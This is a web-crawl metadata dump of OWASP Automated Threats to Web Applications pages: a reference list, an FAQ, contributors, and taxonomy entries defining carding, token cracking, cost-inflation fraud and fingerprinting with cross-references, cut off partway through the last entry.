on Online Game Security http://www.math.snu.ac.kr/~jhcheon/publications/2004/Taxonomy%20on%20online%20game%20security_EL.pdf\n- A Taxonomy of Computer Program Security Flaws, with Examples, Landwehr https://cwe.mitre.org/documents/sources/ATaxonomyofComputerProgramSecurityFlawswithExamples%5BLandwehr93%5D.pdf\n- A Taxonomy of Security Faults in the UNIX Operating System, Aslam, 1995 https://cwe.mitre.org/documents/sources/ATaxonomyofSecurityFaultsintheUNIXOperatingSystem%5BAslam95%5D.pdf\n- Testing Guide, v4, OWASP, 2014 https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf\n- The Bot Baseline: Fraud in Digital Advertising https://s3.amazonaws.com/whiteops-public/WO-ANA-Baseline-Study-of-Bot-Fraud.pdf\n- The Internet Organised Crime Threat Assessment (iOCTA) 2014 https://www.europol.europa.eu/content/internet-organised-crime-threat-assesment-iocta\n- The Notorious Nine Cloud Computing Top Threats in 2013 CSA https://downloads.cloudsecurityalliance.org/initiatives/top_threats/The_Notorious_Nine_Cloud_Computing_Top_Threats_in_2013.pdf\n- The Risks of Content Management Systems, IBM, 2015 https://portal.sec.ibm.com/mss/html/en_US/support_resources/pdf/CMS_Threats_MSS_Threat_Report.pdf\n- The Spy in the Sandbox – Practical Cache Attacks in Javascript http://iss.oy.ne.ro/SpyInTheSandbox.pdf\n- Thousands of Hacked Uber Accounts Selling on Dark Web for $1 http://thehackernews.com/2015/03/thousands-of-hacked-uber-accounts_30.html?m=1\n- Threat Intelligence Quarterly, IBM, 1Q 2015 https://www.ibm.com/services/forms/signup.do?source=swg-WW_Security_Organic&S_PKG=ov33510&S_TACT=C327017W&dynform=18101\n- Threat Modeling: Designing for Security, Adam Shostack, Wiley, April 2014 http://eu.wiley.com/WileyCDA/WileyTitle/productCd-1118809998.html\n- Threats and Mitigations: A Guide to Multi-Layered Web Security - eBook Prolexic http://www.prolexic.com/knowledge-center/prolexic-download/guide-multi-layered-web-security-ebook.pdf\n- Trapping Unknown Malware in a Context Web, Sophos http://www.sophos.com/en-us/medialibrary/PDFs/technical%20papers/HuqSzabo-VB2013.pdf?la=en.pdf\n- Trustwave Global Security Report 2014 https://www2.trustwave.com/GSR2014.html?utm_source=redirect&utm_medium=web&utm_campaign=GSR2014\n- TurboTax’s Anti-Fraud Efforts Under Scrutiny http://krebsonsecurity.com/2015/02/turbotaxs-anti-fraud-efforts-under-scrutiny/\n- Two Security Vulnerabilities in the Spring Framework’s MVC pdf (from 2008) http://blog.diniscruz.com/2011/07/two-security-vulnerabilities-in-spring.html\n- The Underground Economy of Spam: A Botmaster’s Perspective of Coordinating Large-Scale Spam Campaigns http://static.usenix.org/events/leet11/tech/full_papers/Stone-Gross.pdf\n- Understanding Web Bots and How They Hurt Your Business Encapsula http://www.slideshare.net/Incapsula/understanding-web-bots-and-how-they-hurt-your-business\n- Use of A Taxonomy of Security Faults, Taimur Aslam, Ivan Krsul and Eugene H Spafford, 1996 http://docs.lib.purdue.edu/cgi/viewcontent.cgi?article=2304&context=cstech\n- The WASC Threat Classification v2.0 http://projects.webappsec.org/w/page/13246978/Threat%20Classification\n- Warhol Worms: The Potential for Very Fast Internet Plagues http://www.iwar.org.uk/comsec/resources/worms/warhol-worm.htm\n- Web Application Attack Report #5 Imperva http://www.imperva.com/docs/HII_Web_Application_Attack_Report_Ed5.pdf\n- Web Application Defender’s Cookbook: Battling Hackers and Protecting Users, Ryan Barnett, Wiley, December 2012 http://eu.wiley.com/WileyCDA/WileyTitle/productCd-1118362187.html\n- Web Attacks in the Wild Corsaire https://www.owasp.org/images/a/a7/Web_attacks_in_the_wild_-_ap.pdf\n- Web Automation Friend or Foe? https://www.owasp.org/images/5/58/OWASP_Israel_- *May_2009* - *Ofer_Shezaf* -_Automation_Attacks.pdf\n- Web Spambot Detection Based on Web Navigation Behaviour http://pedramhayati.com/papers/Web_Spambot_Detection_Based_on_Web_Usage_Behaviour.pdf\n- Website Security Statistics Report, 2014 http://info.whitehatsec.com/rs/whitehatsecurity/images/statsreport2014-20140410.pdf\n- What is Zeus? http://www.sophos.com/medialibrary/pdfs/technical%20papers/sophos%20what%20is%20zeus%20tp.pdf\n- When Web 2.0 Attacks! Understanding Ajax Flash and other highly interactive web technologies… https://www.owasp.org/images/f/fc/When_Web_2.0 *Attacks* -_Understanding_Security_Implications_of_Highly_Interactive_Technologies-Rafal_Los.pdf\n- Where have all of our Passwords Gone? Gartner 2015 http://blogs.gartner.com/avivah-litan/2015/01/22/where-have-all-our-passwords-gone/\n- WS-Attacks.org http://www.ws-attacks.org/index.php/Main_Page\n\n---\n\n## Frequently Asked Questions\n\n### When will it be updaated next?\n\nA new edition is in progress and will be published in April-May 2025.\n\n### What do you mean by “web”, “application” and “automated threat”?\n\nSee the definitions in the project’s [glossary](/www-project-automated-threats-to-web-applications#div-scope).\n\n### What is an “ontology”?\n\nAn ontology is a set of types, properties, and relationship. These together define a subject description language. This particular ontology is meant to represent what automated threats real world owners observe affecting their web applications in usual operations.\n\n### Isn’t this another bug (vulnerability) list?\n\nNo, none of the named automated threat events are implementation bugs - they relate to abuse of functionality using automated means.\n\n### But is it an OWASP Top N List?\n\nAgain no, it’s an ontology which currently contains 21 items but there may be more identified in the future. Also it is not an ordered list (like OWASP Top N lists) - the OAT identification numbers were randomly assigned, so the list is often written in alphabetical order to emphasize this.\n\n### I thought “so and so” already did that?\n\nWe found that it did not exist. While many threats are mentioned in the sources researched, there was no overall list or definitions. We found the automated threat events tended to all be in a small number of definied items from Mitre CAPEC and WASC Threat Classification. If you know of other automated threat lists/taxonomies/ontologies, please share them.\n\n### What is an “oat”?\n\nIt is our abbreviation for OWASP Automated Threat (OAT).\n\n### I am confused and don’t know which OAT my problem is - how do I identify it?\n\nIn 2017 we created a [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) to help identify the correct OAT, which can then be confirmed by reading the full description in the [handbook](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN). The short summaries are important explanations of each OAT name.\n\n## How can I help?\n\nPlease join our [Google Group](https://groups.google.com/a/owasp.org/forum/#!forum/automated-threats-project), send ideas, contribute clarifications, corrections and improvement, and let other people know about the project and its handbook.\n\n---\n\n## Acknowledgements and Sponsors\n\n### Contributors\n\n- Sumit Agarwal\n- Areejit Banerjee\n- Jason Chan\n- Cassio Goldschmidt\n- Mark Hall\n- Omri Iluz\n- Brian Jones\n- José Santos Martins Pereira\n- Shunji Matsuzawa\n- Jarrod Overson\n- Andrew van der Stock\n- Frank Walsh\n- Roland Weber\n- [Colin Watson](mailto:colin.watson@owasp.org)\n- [Tin Zaw](mailto:tin.zaw@owasp.org)\n\nAdditionally other professional colleagues and website owners and operators who provided feedback.\n\n### Reviewers of v1.0\n\n- Igor Andriushchenko\n- Gabriel Mendez Justiniano\n- Matt Tesauro\n\n### Sponsors\n\nAll OWASP Projects are run and developed by volunteers and rely on personal donations and sponsorship to continue their development. OWASP does not endorse or recommend commercial products or services, allowing our community to remain vendor neutral with the collective wisdom of the best minds in software security worldwide.\n\nThis project has received the sponsorship part of their Corporate OWASP membership fees from Verizon Digital Media Services in 2016 and Distil Networks in 2017, which contributed to the v1.2 production design costs and towards promoting knowledge about the project.\n\n---\n\n## Road Map and Getting Involved\n\nWe want to keep the Automated Threat Handbook Updated. A new edition, v1.3, was published on 17th March 2026.\n\nCan you help? The project is looking for information on the prevalence and types of automated threats seen by web application owners in the real world. This will be used to refine and organise the information gathered from research papers, whitepapers, security reports and industry news. Please use the project’s [Google Group](https://groups.google.com/a/owasp.org/forum/#!forum/automated-threats-project) to keep up-to-date with what’s going on, and to contribute your ideas, feedback, and experience:\n\nTo share information confidentially, you can email the project leaders directly: [Tin Zaw](mailto:tin.zaw@owasp.org) and [Colin Watson](mailto:colin.watson@owasp.org).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 48374, "slov": 5441, "odkazu": 76, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/www-project-automated-threats-to-web-applications", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 23:47:48", "sha256": "07c3e9f9d3bb57226c150c5890455d066c3dc279cce79d50200dee1ce0b13b32", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.youtube.com/watch?v=6cNwrtzPP1E", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "http://creativecommons.org/licenses/by-sa/3.0/", "http://pubs.opengroup.org/onlinepubs/9699919899/toc.pdf", "http://nvlpubs.nist.gov/nistpubs/ir/2013/NIST.IR.7298r2.pdf", "http://en.wikipedia.org/wiki/OSI_model", "http://en.wikipedia.org/wiki/Internet_protocol_suite", "http://www.w3.org/TR/webarch/", "http://www.w3.org/Help/", "https://capec.mitre.org/", "https://capec.mitre.org/data/definitions/3000.html", "https://capec.mitre.org/data/definitions/437.html", "https://capec.mitre.org/data/definitions/513.html", "http://projects.webappsec.org/w/page/13246978/Threat%20Classification", "https://wiki.owasp.org/index.php/OWASP_WASC_Web_Hacking_Incidents_Database_Project", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://groups.google.com/a/owasp.org/forum/", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 577452, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:14:00", "sha256": "6593009ee9f1037c5b94aba402d86c1e5b19dbec704d96381c5ee792fb4bcdc9", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-poster-1v3-3.pdf", "titulek": "", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "", "znaku_textu": 0, "slov": 0, "odkazu": 0, "kodovani": "", "kodovani_deklarovane": null, "format": "pdf", "bajtu": 863909, "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:14:01", "sha256": "36a6a8ac5c07f4a739e2d47e90b1c8e1b4c25319ef7e0dcbca94ce617831ae81", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "application/pdf", "odkazy_externi": []} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-001_Carding.html", "titulek": "OAT-001 Carding | OWASP Foundation", "h1": "OAT-001 Carding", "popis": "OAT-001 Carding on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-001_Carding", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-001 Carding on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-001 Carding | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-001_Carding.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-001 Carding"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-001 Carding\n\n**Carding** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-001\n\n### Threat Event Name\n\nCarding\n\n### Summary Defining Characteristics\n\nMultiple payment authorisation attempts to verify the validity of bulk stolen payment card data.\n\n### Indicative Diagram\n\n### Description\n\nLists of full credit and/or debit card data are tested against a merchant’s payment processes to identify valid card details. The quality of stolen data is often unknown, and Carding is used to identify good data of higher value. Payment cardholder data may have been stolen from another application, stolen from a different payment channel, or acquired from a criminal marketplace.\n\nWhen partial cardholder data is available, and the expiry date and/or security code are not known, the process is instead known as [OAT-010 Card Cracking](OAT-010_Card_Cracking.html). The use of stolen cards to obtain cash or goods is [OAT-012 Cashing Out](OAT-012_Cashing_Out.html).\n\n### Other Names and Examples\n\nCard stuffing; Credit card stuffing; Card verification\n\n### See Also\n\n- [OAT-010 Card Cracking](OAT-010_Card_Cracking.html)\n- [OAT-012 Cashing Out](OAT-012_Cashing_Out.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 210 Abuse Existing Functionality\n\n### CWE Base / Class / Variant IDs\n\n- 799 Improper Control of Interaction Frequency\n- 837 Improper Enforcement of a Single, Unique Action\n\n### WASC Threat IDs\n\n- 21 Insufficient Anti-Automation\n- 42 Abuse of Functionality\n\n### OWASP Attack Category / Attack IDs\n\n- Abuse of Functionality\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 2435, "slov": 309, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:44", "sha256": "50312b1fb5c06a96b8a9d3d1d4c45aa30580eaa48619647f6a1c898148f914ef", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-002_Token_Cracking.html", "titulek": "OAT-002 Token Cracking | OWASP Foundation", "h1": "OAT-002 Token Cracking", "popis": "OAT-002 Token Cracking on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-002_Token_Cracking", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-002 Token Cracking on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-002 Token Cracking | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-002_Token_Cracking.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-002 Token Cracking"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-002 Token Cracking\n\n**Token Cracking** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-002\n\n### Threat Event Name\n\nToken Cracking\n\n### Summary Defining Characteristics\n\nMass enumeration of coupon numbers, voucher codes, discount tokens, etc.\n\n### Indicative Diagram\n\n### Description\n\nIdentification of valid token codes providing some form of user benefit within the application. The benefit may be a cash alternative, a non-cash credit, a discount, or an opportunity such as access to a limited offer.\n\nFor cracking of usernames, see [OAT-007 Credential Cracking](OAT-007_Credential_Cracking.html) instead.\n\n### Other Names and Examples\n\nCoupon guessing; Voucher, gift card and discount enumeration\n\n### See Also\n\n- [OAT-007 Credential Cracking](OAT-007_Credential_Cracking.html)\n- [OAT-011 Scraping](OAT-011_Scraping.html)\n- [OAT-012 Cashing Out](OAT-012_Cashing_Out.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 112 Brute Force\n- 210 Abuse Existing Functionality\n\n### CWE Base / Class / Variant IDs\n\n- 799 Improper Control of Interaction Frequency\n- 837 Improper Enforcement of a Single, Unique Action\n\n### WASC Threat IDs\n\n- 11 Brute Force\n- 21 Insufficient Anti-Automation\n- 42 Abuse of Functionality\n\n### OWASP Attack Category / Attack IDs\n\n- Abuse of Functionality\n- Brute Force Attack\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 2202, "slov": 266, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:59", "sha256": "82cfc12efb35fa1648a5c2cde4ed36a87d7b0f9933bdaaab25623a2fda649212", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-003_Cost-Inflation_Fraud.html", "titulek": "OAT-003 Cost-Inflation Fraud | OWASP Foundation", "h1": "OAT-003 Cost-Inflation Fraud", "popis": "OAT-003 Cost-Inflation Fraud on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-003_Cost-Inflation_Fraud", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-003 Cost-Inflation Fraud on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-003 Cost-Inflation Fraud | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-003_Cost-Inflation_Fraud.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-003 Cost-Inflation Fraud"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-003 Cost-Inflation Fraud\n\n**Cost-Inflation Fraud** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-003\n\n### Threat Event Name\n\nCost-Inflation Fraud\n\n### Summary Defining Characteristics\n\nMass use of functionality to illegitimately profit from chargeable supporting services.\n\n### Indicative Diagram\n\n### Description\n\nUse of features which utilise some third-party provided services including API usage events (e.g. mapping, search, AI calls, messaging), pay per access (e.g. documents, research, data), advertising/affiliate marketing (e.g. click-throughs, advert views), and performance-related payment for a service (e.g. SEO). These interactions inflate charges billed by the relevant service provider. The attack depends on the service provider (or an employee, agent, intermediary, etc) also acting fraudulently or being compromised in some way, so the attacker is the beneficiary of the inflated charges.\n\nSee [OAT-016 Skewing](OAT-016_Skewing.html) instead for similar activity that does not involve inflation of charges which benefit the attacker. Prior to v1.3, OAT-003 was named Ad Fraud.\n\n### Other Names and Examples\n\nAPI usage inflation; Artificially Inflated Traffic (AIT); Advert fraud; Adware traffic; Click bot; Click fraud; Hit fraud; Impression fraud; Pay per click advertising abuse; Phoney ad traffic; SMS pumping; Toll fraud; Transfer pricing\n\n### See Also\n\n- [OAT-016 Skewing](OAT-016_Skewing.html)\n- [OAT-017 Spamming](OAT-017_Spamming.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 210 Abuse Existing Functionality\n\n### CWE Base / Class / Variant IDs\n\n- 799 Improper Control of Interaction Frequency\n- 841 Improper Enforcement of Behavioural Workflow\n\n### WASC Threat IDs\n\n- 21 Insufficient Anti-Automation\n- 42 Abuse of Functionality\n\n### OWASP Attack Category / Attack IDs\n\n- Abuse of Functionality\n\nReturn to [OWASP Automated Threats to Web Applications Project](../../../).\n\n---\n\n[Watch](https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription) [Star](https://github.com/owasp/www-project-automated-threats-to-web-applications)", "znaku_textu": 2738, "slov": 344, "odkazu": 48, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:13:41", "sha256": "d034555a1446db350696e7e8b2172b027c6afc762c355ac6e9cb44b61e4f8240", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN", "https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html", "https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf", "https://github.com/owasp/www-project-automated-threats-to-web-applications/subscription", "https://github.com/owasp/www-project-automated-threats-to-web-applications", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-004_Fingerprinting.html", "titulek": "OAT-004 Fingerprinting | OWASP Foundation", "h1": "OAT-004 Fingerprinting", "popis": "OAT-004 Fingerprinting on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-004_Fingerprinting", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OAT-004 Fingerprinting on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OAT-004 Fingerprinting | OWASP Foundation", "og:url": "https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-004_Fingerprinting.html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OAT-004 Fingerprinting"}, {"uroven": 2, "text": "Definition"}, {"uroven": 3, "text": "OWASP Automated Threat (OAT) Identity Number"}, {"uroven": 3, "text": "Threat Event Name"}, {"uroven": 3, "text": "Summary Defining Characteristics"}, {"uroven": 3, "text": "Indicative Diagram"}, {"uroven": 3, "text": "Description"}, {"uroven": 3, "text": "Other Names and Examples"}, {"uroven": 3, "text": "See Also"}, {"uroven": 2, "text": "Cross-References"}, {"uroven": 3, "text": "CAPEC Category / Attack Pattern IDs"}, {"uroven": 3, "text": "CWE Base / Class / Variant IDs"}, {"uroven": 3, "text": "WASC Threat IDs"}, {"uroven": 3, "text": "OWASP Attack Category / Attack IDs"}], "markdown": "# OAT-004 Fingerprinting\n\n**Fingerprinting** is an automated threat. The OWASP Automated Threat Handbook - Web Applications ([pdf](https://github.com/OWASP/www-project-automated-threats-to-web-applications/tree/master/assets/files/EN), [print](https://www.lulu.com/shop/colin-watson-and-tin-zaw/owasp-automated-threat-handbook/paperback/product-w4wj7qq.html)), an output of the [OWASP Automated Threats to Web Applications Project](../../../), provides a fuller guide to each threat, detection methods and countermeasures. The [threat identification chart](https://www.owasp.org/www-project-automated-threats-to-web-applications/assets/files/oat-ontology-decision-chart.pdf) helps to correctly identify the automated threat.\n\n## Definition\n\n### OWASP Automated Threat (OAT) Identity Number\n\nOAT-004\n\n### Threat Event Name\n\nFingerprinting\n\n### Summary Defining Characteristics\n\nElicit information about the supporting software and framework types and versions.\n\n### Indicative Diagram\n\n### Description\n\nSpecific requests are sent to the application eliciting information in order to profile the application. This probing typically examines HTTP header names and values, session identifier names and formats, contents of error page messages, URL path case sensitivity, URL path patterns, file extensions, and whether software-specific files and directories exist. Fingerprinting is often reliant on information leakage and this profiling may also reveal some network architecture/topology. The fingerprinting may be undertaken without any direct usage of the application, e.g. by querying a store of exposed application properties such as held in a search engine’s index.\n\nFingerprinting seeks to identity application components, whereas [OAT-018 Footprinting](OAT-018_Footprinting.html) is a more detailed analysis of how the application works.\n\n### Other Names and Examples\n\nGoogle dorking; Google hacking; Shodaning; Finding potentially vulnerable applications; Identifying vulnerable content management systems (CMS); Reconnaissance; Target acquisition; Target scanning; Web application fingerprinting\n\n### See Also\n\n- [OAT-011 Scraping](OAT-011_Scraping.html)\n- [OAT-014 Vulnerability Scanning](OAT-014_Vulnerability_Scanning.html)\n- [OAT-018 Footprinting](OAT-018_Footprinting.html)\n\n## Cross-References\n\n### CAPEC Category / Attack Pattern IDs\n\n- 541 Application Fingerprinting\n- 170 Web 